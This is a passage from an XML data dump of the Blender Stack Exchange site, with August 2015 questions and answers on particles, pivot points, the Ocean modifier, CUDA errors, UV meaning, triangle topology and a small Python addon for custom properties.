radians&#xA;&#xA;bpy.ops.object.shade_smooth()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-08-23T13:07:20.183" LastActivityDate="2015-08-23T13:07:20.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36249" PostTypeId="1" CreationDate="2015-08-23T14:32:44.797" Score="1" ViewCount="558" Body="&lt;p&gt;Today I wanted to put some hair on my character. I used weight paint to make a vertex group. The hair particle system doesn't seem to follow the vertex group, though.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cajOL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cajOL.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Can anybody help?&lt;/p&gt;&#xA;&lt;p&gt;(I'm sorry for all the silly questions I've asked so far. But thanks for the answers!)&lt;/p&gt;&#xA;&lt;p&gt;Edit: I've found the answer. Thanks though!&lt;/p&gt;&#xA;" OwnerUserId="16169" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-23T15:16:07.910" Title="Hair doesn't follow vertex group" Tags="&lt;particles&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36250" PostTypeId="1" AcceptedAnswerId="36254" CreationDate="2015-08-23T14:50:32.590" Score="1" ViewCount="2835" Body="&lt;p&gt;When i tryied to animate a group rotating (2 rotation keyframes), all of the objects rotated at thier pivot points insted of the &quot;whole group&quot; pivot point. How do i make the whole group rotate as one object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here i've recoreded a gif of my problem. &lt;a href=&quot;https://imgur.com/o3BiQQA&quot; rel=&quot;nofollow noreferrer&quot;&gt;GIF&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16636" LastEditorUserId="16636" LastEditDate="2015-08-23T15:24:00.707" LastActivityDate="2015-08-23T16:00:24.880" Title="How do i animate a group rotating as one object?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36251" PostTypeId="2" ParentId="36241" CreationDate="2015-08-23T15:01:31.690" Score="1" Body="&lt;p&gt;i got it &lt;a href=&quot;https://i.stack.imgur.com/uXKD2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uXKD2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;particles -&gt; render -&gt; choose a material slot&lt;/p&gt;&#xA;" OwnerUserId="16631" LastActivityDate="2015-08-23T15:01:31.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36252" PostTypeId="1" AcceptedAnswerId="36255" CreationDate="2015-08-23T15:04:32.417" Score="4" ViewCount="317" Body="&lt;p&gt;I already tried to apply the scale, but unfortunately nothing's changed. How can i fix this problem?&lt;/p&gt;&#xA;" OwnerUserId="13620" LastActivityDate="2015-08-23T15:10:34.867" Title="Why does my river change itself into a big, flat (with some bumps) square when i use the ocean modifier?" Tags="&lt;modifiers&gt;&lt;ocean-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36253" PostTypeId="1" CreationDate="2015-08-23T15:08:17.100" Score="3" ViewCount="2344" Body="&lt;p&gt;I just successfully rendered &lt;a href=&quot;https://www.youtube.com/watch?v=Ay7fgeQC1WI&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; clock tutorial. However all of the objects show black in material view. I've been searching online for an hour, found a lot of similar posts but none of the answers match my setup. I have out put nodes, im not in local view, and the light source's specular and diffuse options are checked. Can any one help point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/a/sPAxR&quot; rel=&quot;nofollow noreferrer&quot;&gt;Example&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;https://drive.google.com/file/d/0B5DkkrX3nKSqVk9CWTdLTzNPb2M/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link to my blender file&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:  I've been using my laptop for this project - a dell Inspiron - and recently opened the project on my main pc and selected my nvidia gpu for the hardware. For whatever reason the materials show fine. I think its related to the Intel Intgrated HD graphics on my laptop. Must be some kind of driver glitch. The bottom line seems to be that my laptop's integrated graphics don't work well with this aspect of Blender. Thanks for all the help though.&lt;/p&gt;&#xA;" OwnerUserId="16635" LastEditorUserId="16635" LastEditDate="2015-08-24T20:41:22.023" LastActivityDate="2018-11-10T10:02:10.480" Title="Object are showing black in material view" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36254" PostTypeId="2" ParentId="36250" CreationDate="2015-08-23T15:08:34.227" Score="2" Body="&lt;p&gt;When you rotate multiple selected objects and they all rotate about their own axis it is probable that your pivot point is set to 'Individual Origins'. This would mean exactly as you describe that each object selected will rotate about their own origin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blender.org/manual/getting_started/basics/transformations/transform_control/pivot_point/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.blender.org/manual/getting_started/basics/transformations/transform_control/pivot_point/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't really care about where they rotate about, you can just use the 'Median Point' as the pivot point, but if you want to make a precise rotation around a specific point, an easy way to do this would be creating an empty at the point of rotation and parenting all the objects you want to that empty. Then, you can simply rotate that empty and all of the parented objects will rotate around that empty. There are other ways to do this but from personal experience I think that if you are just doing a 2 key frame animation then using an empty as a center of rotation is one of easiest ways to rotate about a specific point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is your .blend edited with the group parented to an empty cube and with the correct rotations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/432/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=432&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16521" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-08-23T16:00:24.880" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36255" PostTypeId="2" ParentId="36252" CreationDate="2015-08-23T15:10:34.867" Score="7" Body="&lt;p&gt;By default, the Ocean modifier is set to generate its own geometry and discard whatever you're applying it on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To have it use your existing geometry, just &lt;em&gt;Generate&lt;/em&gt; to &lt;em&gt;Displace&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/96Wnj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/96Wnj.png&quot; alt=&quot;displace ocean&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2015-08-23T15:10:34.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36256" PostTypeId="2" ParentId="36249" CreationDate="2015-08-23T15:16:07.910" Score="2" Body="&lt;p&gt;the one that you posted shows that you created a vertex group, the next step is to assign the hair particles in that vertex group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;particles -&gt; vertex groups -&gt; density -&gt; and then scroll down to select the vertex group that you created&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bu0ug.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bu0ug.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16631" LastActivityDate="2015-08-23T15:16:07.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36257" PostTypeId="1" CreationDate="2015-08-23T15:18:13.217" Score="1" ViewCount="1186" Body="&lt;p&gt;Every time I try to render my scene, I get this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CUDA error: ILLEGAL_ADDRESS in cuCtxSynchronize()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/R4TId.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R4TId.png&quot; alt=&quot;CUDA error: ILLEGAL_ADDRESS in cuCtxSynchronize()&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried messing around with my NVIDIA Control Panel (I have an NVIDIA GeForce 750M) and adding a TdrDelay in regedit after browsing through similar questions on the Blender StackExchange, but the problem persists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would try to allocate more video memory to Cycles if that's the problem, but I don't know how. (I do know I definitely have at least 1GB.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to resort to rendering with only the CPU, or it would kill the purpose of having the NVIDIA card in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/433/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=433&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2613" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-08-23T17:47:07.147" Title="CUDA error: ILLEGAL_ADDRESS in cuCtxSynchronize()" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;gpu&gt;" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="36258" PostTypeId="1" CreationDate="2015-08-23T15:27:44.213" Score="1" ViewCount="457" Body="&lt;p&gt;Im trying to map a texture with transparent but it appears that it has some artifacts around the texture...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/C31E6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C31E6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i dont have anything black in my uv: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hYYU2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hYYU2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could some one explain to me what is happening ?&lt;/p&gt;&#xA;" OwnerUserId="7615" LastActivityDate="2015-08-23T21:15:08.933" Title="Removing artifacts from transparent textures" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36260" PostTypeId="1" CreationDate="2015-08-23T15:40:29.223" Score="8" ViewCount="1635" Body="&lt;p&gt;I need to hide faces from videos I make. I've found tutorials on blurring, which are great, but the render times are too long to be practical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in place of that, is there a way to pixelate the face in using the Video Sequence Editor?&lt;/p&gt;&#xA;" OwnerUserId="16637" LastEditorUserId="8262" LastEditDate="2015-08-23T17:27:56.680" LastActivityDate="2018-03-12T23:31:25.483" Title="Pixelate Faces in the VSE" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="3" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36261" PostTypeId="1" AcceptedAnswerId="36275" CreationDate="2015-08-23T15:46:59.487" Score="1" ViewCount="385" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KRQam.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KRQam.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two custom sliders; A and B.&#xA;How can I  B refer to A every time I past his name &quot;Duration&quot; on the input B? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case B should be 76 in output.&lt;/p&gt;&#xA;" OwnerUserId="6426" LastEditorUserId="6426" LastEditDate="2015-08-23T16:02:23.853" LastActivityDate="2015-08-23T23:23:47.040" Title="How to setup custom expression in Blender?" Tags="&lt;python&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36265" PostTypeId="1" AcceptedAnswerId="36266" CreationDate="2015-08-23T17:21:48.830" Score="19" ViewCount="2257" Body="&lt;p&gt;In Blender they speak about the UV/Image Editor. I cannot find the meaning of the letters &quot;UV&quot;. What is UV standing for ?&lt;/p&gt;&#xA;" OwnerUserId="13877" LastActivityDate="2015-08-25T00:31:27.313" Title="Meaning of UV in &quot;UV/Image Editor&quot;" Tags="&lt;image&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36266" PostTypeId="2" ParentId="36265" CreationDate="2015-08-23T17:51:17.513" Score="15" Body="&lt;p&gt;Since 3D space and texture coordinates are stored together with the mesh to distinguish between them texture coordinates are associated with a separate letters sequence (U, V and W)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;U&lt;/strong&gt; and &lt;strong&gt;V&lt;/strong&gt; denote the &lt;strong&gt;X&lt;/strong&gt; and &lt;strong&gt;Y&lt;/strong&gt; axes of the 2D texture that is projected onto the 3D model. 3D generated textures have another coordinate &lt;strong&gt;W&lt;/strong&gt; that is equivalent to &lt;strong&gt;Z&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-08-25T00:31:27.313" LastActivityDate="2015-08-25T00:31:27.313" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="36267" PostTypeId="2" ParentId="35884" CreationDate="2015-08-23T18:59:44.310" Score="1" Body="&lt;p&gt;Workaround: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a similar problem but I could not find a solution. It turned out that &lt;code&gt;Visual Studio 2013&lt;/code&gt; (Professional; I don't know whether the Express version is enough) and &lt;code&gt;Unity&lt;/code&gt; (a gaming engine; in case you didn't know) were both able to import the file correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I imported the file into &lt;code&gt;Visual Studio 2013&lt;/code&gt; and saved it as a &lt;code&gt;.obj&lt;/code&gt; file which could then be imported correctly into blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it worked correctly using the &lt;a href=&quot;http://download.blender.org/release/Blender2.72/&quot; rel=&quot;nofollow&quot;&gt;Blender 2.72b&lt;/a&gt; version.&lt;/p&gt;&#xA;" OwnerUserId="16589" LastEditorUserId="16589" LastEditDate="2015-08-26T09:20:50.533" LastActivityDate="2015-08-26T09:20:50.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36268" PostTypeId="1" AcceptedAnswerId="36306" CreationDate="2015-08-23T19:15:32.737" Score="0" ViewCount="1477" Body="&lt;p&gt;I tried to download it on &lt;a href=&quot;https://developer.blender.org/T26374&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; page, but after clicking on the link next to &lt;em&gt;SVN Download&lt;/em&gt; i was redirected to another page with 3 other links. After clicking them i was redirected to a new page with a whole bunch of new links. So i realized that i needed to install SVN (Subversion) for my Mac, but after i've done it successfully, i still don't know what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i install this addon using Subversion or is there another way to do it?&lt;/p&gt;&#xA;" OwnerUserId="13620" LastActivityDate="2015-08-24T13:54:26.020" Title="How can i download/install the Motion Trail-addon (svn-download)?" Tags="&lt;add-on&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36269" PostTypeId="1" AcceptedAnswerId="36272" CreationDate="2015-08-23T19:46:08.287" Score="0" ViewCount="122" Body="&lt;p&gt;Is it possible in the Blender Game Engine to start an animation at say frame 1 and end at frame 20, but after the first playback to start looping frames 5-20?&lt;/p&gt;&#xA;" OwnerUserId="16450" LastActivityDate="2015-08-23T21:07:42.947" Title="How to start an animation at a different frame than that of the start of the loop" Tags="&lt;animation&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36270" PostTypeId="1" AcceptedAnswerId="36276" CreationDate="2015-08-23T19:53:56.973" Score="17" ViewCount="2134" Body="&lt;p&gt;Tris are things you would avoid when it comes to shading, and good Topology, so do Tris do any good?&lt;br&gt;&#xA;Also I am currently working on Game Asset Creation and I would like to know if Tris are actually something I want definately to avoid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YYKga.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YYKga.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-12-22T07:14:22.130" Title="How can Tris be used to an Advantage?" Tags="&lt;workflow&gt;&lt;topology&gt;&lt;faces&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36271" PostTypeId="2" ParentId="36246" CreationDate="2015-08-23T20:27:09.810" Score="1" Body="&lt;p&gt;It's likely that you don't have texture slot to paint on (warning about that and ways to correct are in the top of the &lt;kbd&gt;T&lt;/kbd&gt; panel):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fbKvu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fbKvu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have assigned material, set shading to &lt;em&gt;GLSL&lt;/em&gt;, set Viewporrt shading to &lt;em&gt;Texture&lt;/em&gt; and turned on &lt;em&gt;Texture Paint&lt;/em&gt;. Thus the pink color - Blender's warning regarding to leak of texture, wasn't shown. If you switch back to &lt;em&gt;Solid&lt;/em&gt; shading, you can see that the mesh is pink (tbh, this was the only way I could avoid of getting pink color in the beginning of the Texture painting). See &lt;a href=&quot;https://blender.stackexchange.com/questions/5368/why-are-all-the-textures-in-my-file-pink&quot;&gt;why the textures are pink&lt;/a&gt;, or &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?226606-mesh-is-pink-when-viewport-shading-is-set-to-quot-textured-quot&quot; rel=&quot;nofollow noreferrer&quot;&gt;why the mesh is pink in Texture Paint&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's quite handy to start this work being in the Solid Viewport shading. Then if image is missing you can notice that, while you'll see the texture in all details once it's added:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KFXGH.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KFXGH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-08-23T20:27:09.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36272" PostTypeId="2" ParentId="36269" CreationDate="2015-08-23T21:07:42.947" Score="2" Body="&lt;p&gt;Try this: &lt;a href=&quot;https://i.stack.imgur.com/luXpb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/luXpb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It starts one animation and plays it once from frame 1 to 20. Once that animation reached frame 20 the actuator isn't active anymore. This means that if you set up an actuator sensor to a Nand controller to a action loop frame 5 to 20 it will work.&lt;/p&gt;&#xA;" OwnerUserId="16618" LastActivityDate="2015-08-23T21:07:42.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36273" PostTypeId="2" ParentId="36258" CreationDate="2015-08-23T21:15:08.933" Score="1" Body="&lt;p&gt;In the textures tab you should check the box that sais Alpha and drag it al the way to the right to make the Alpha of the texture 100%. Then go to the material that uses that texture and set the transparancy to 0 so that the material isn't shown but the texture is.&lt;/p&gt;&#xA;" OwnerUserId="16618" LastActivityDate="2015-08-23T21:15:08.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36274" PostTypeId="1" AcceptedAnswerId="36280" CreationDate="2015-08-23T22:45:07.847" Score="7" ViewCount="740" Body="&lt;p&gt;Im rendering varous objects with a Sharp glossy effect but the reflections are quad dependent on the object &lt;em&gt;(image below)&lt;/em&gt;, meaning they &lt;strong&gt;behave separately&lt;/strong&gt; within every quad making it look 8bit-like. Can anyone tell me why this happens?. (Im pretty sure subdividing would fix it but I want to know why I cant have a low poly object reflecting normaly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The object has 2 modifiers: Subdiv Surface and Solidify. (Perhaps the Subdiv is causing it?). Help me you Blender savys I dont have a powerful CPU to test and test within every render would take me hours and hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pwoDR.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pwoDR.jpg&quot; alt=&quot;Quad dependent reflections.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16642" LastActivityDate="2015-08-24T00:35:59.183" Title="Reflection is quad dependent and looks non realistic" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36275" PostTypeId="2" ParentId="36261" CreationDate="2015-08-23T23:11:53.613" Score="1" Body="&lt;p&gt;If you want both A and B to be completely dynamic, without having a constant relationship between them, this requires a bit of work (otherwise a simple driver would suffice).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get this to work, you need to define both properties in a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.types.PropertyGroup.html&quot; rel=&quot;nofollow&quot;&gt;propertyGroup&lt;/a&gt;, so that you'll be able to assign &quot;B&quot; with an &quot;update function&quot; - a function that is called whenever B's value changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That function then needs to parse your expression and assign the correct value back to B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code for getting this to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;        : &quot;Test&quot;,&#xA;    &quot;author&quot;      : &quot;TLousky&quot;,&#xA;    &quot;blender&quot;     : (2, 74, 0),&#xA;    &quot;version&quot;     : (0, 0, 0, 1),&#xA;    &quot;location&quot;    : &quot;3D View &amp;gt; Toolbox&quot;,&#xA;    &quot;description&quot; : &quot;Test 123&quot;,&#xA;    &quot;category&quot;    : &quot;Test&quot;&#xA;}&#xA;&#xA;import bpy&#xA;import re&#xA;&#xA;class samplePropertyGroup( bpy.types.PropertyGroup ):&#xA;    def update_b( self, context ):&#xA;        ''' Update function for property &quot;B&quot;. This function is called whenever B's value is altered '''&#xA;&#xA;        # Regular expression pattern for parsing the typed in expression:&#xA;        # (?:duration)? --&amp;gt; The word &quot;duration&quot;, which might or might not appear&#xA;        # (?:\s+)?(?:\+)?(?:\s+)? --&amp;gt; The plus sign, which might exist or not, with or without spaces before or after&#xA;        # ([\d\.]+) --&amp;gt; the actual numerical value in the expression, which could have a decimal point or not        &#xA;        pat = &quot;(?:duration)?(?:\s+)?(?:\+)?(?:\s+)?([\d\.]+)&quot;&#xA;&#xA;        if &quot;duration&quot; in self.b:                # If the word &quot;duration&quot; exists in the manually assigned value&#xA;            m = re.match( pat, self.b )         # Then parse the string to extract the numerical value out of it&#xA;            if m:                               # And if parsing was successful&#xA;                numVal = float( m.groups()[0] ) # Get the value from the regex match object's capturing group&#xA;                self.b = str( self.duration + numVal ) # Then assign the value plus the duration prop's value back to &quot;b&quot;&#xA;&#xA;    duration = bpy.props.FloatProperty(&#xA;        description = &quot;This property is a simple float prop that doesn't support expressions&quot;,&#xA;        name = &quot;duration&quot; # Recommended not to use caps at the beginning of var names as a habit&#xA;    )&#xA;&#xA;    # This one needs to be a string to be able to accept strings such as the other prop's name&#xA;    b = bpy.props.StringProperty( &#xA;        description = &quot;This property also accepts strings and might actually use them&quot;,&#xA;        name        = &quot;b&quot;,&#xA;        update      = update_b # This is the important bit here, a reference to the update function&#xA;    )&#xA;&#xA;class samplePanel(bpy.types.Panel):&#xA;    ''' Sample Panel '''&#xA;    bl_label       = &quot;Sample Panel&quot;&#xA;    bl_idname      = &quot;sample_panel&quot;&#xA;    bl_category    = &quot;Test&quot;&#xA;    bl_space_type  = 'VIEW_3D'&#xA;    bl_region_type = 'TOOLS'&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        col    = layout.column()&#xA;&#xA;        P = context.scene.sample_props&#xA;&#xA;        col.prop( P, &quot;duration&quot;      )&#xA;        col.prop( P, &quot;b&quot; )&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Scene.sample_props = bpy.props.PointerProperty(&#xA;        type = samplePropertyGroup&#xA;    )&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll need to install this as an addon to test it, as it creates a new tab in the tools panel called &quot;Test&quot;, where you will find both your properties.&lt;/p&gt;&#xA;" OwnerUserId="15861" LastEditorUserId="15861" LastEditDate="2015-08-23T23:23:47.040" LastActivityDate="2015-08-23T23:23:47.040" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36276" PostTypeId="2" ParentId="36270" CreationDate="2015-08-23T23:28:22.643" Score="19" Body="&lt;p&gt;There's a big misunderstanding regarding tris. A lot of people say that you should never use tris, and they're somewhat right. But the main reason behind not using tris, is because they can be harder to work with, and they can cause issues with deformations. Although, before exporting/baking your model for use in games, it's advisable that it's triangulated anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, people tend to go to overly extreme lengths to avoid tris, when in reality, adding a tri is a lot better than trying to work around having one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other thing to keep in mind, is that all faces are converted to triangles at rendertime anyway. You aren't speeding up rendertimes (If I'm not mistaken, some of the optimizations that are being added to blenders viewport are actually for quads only) but by using tris, but you are controlling how the faces are cut up (this is the big thing that effects shading).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tris also cut off edge loops. So if you do something like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tKUCz.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tKUCz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then you try to select one of the edges,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1E9CE.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1E9CE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it will stop at the triangle. The same thing happens for both Tris, Poles, and N-Gons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, advantages to using tris&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can keep topology simpler in certain situations.&lt;/li&gt;&#xA;&lt;li&gt;Much more effective at controlling shading on low poly models&lt;/li&gt;&#xA;&lt;li&gt;Stops edge loops&lt;/li&gt;&#xA;&lt;li&gt;Controls how the surface will be cut up, instead of allowing it to&#xA;be randomly done at render time.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Disadvantages of tris&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can be harder to work with at times&lt;/li&gt;&#xA;&lt;li&gt;Can cause issues with deformations and subserf&lt;/li&gt;&#xA;&lt;li&gt;Stops edge loops&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In games however&lt;/strong&gt;, There is a stage in the process where &lt;em&gt;triangulation is often unavoidable&lt;/em&gt; and should be carefully embraced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a point in the video game workflow where your game model should be completely triangulated, because most game engines will robotically do this for you if you don't, with often undesired results. Some concave surfaces will become convex and vise versa, while some unwanted/useless loops form from the resulting triangulation. You'll want to triangulate it before you export, and DEFINITELY before you bake normals. Here are two big things that can go wrong if you 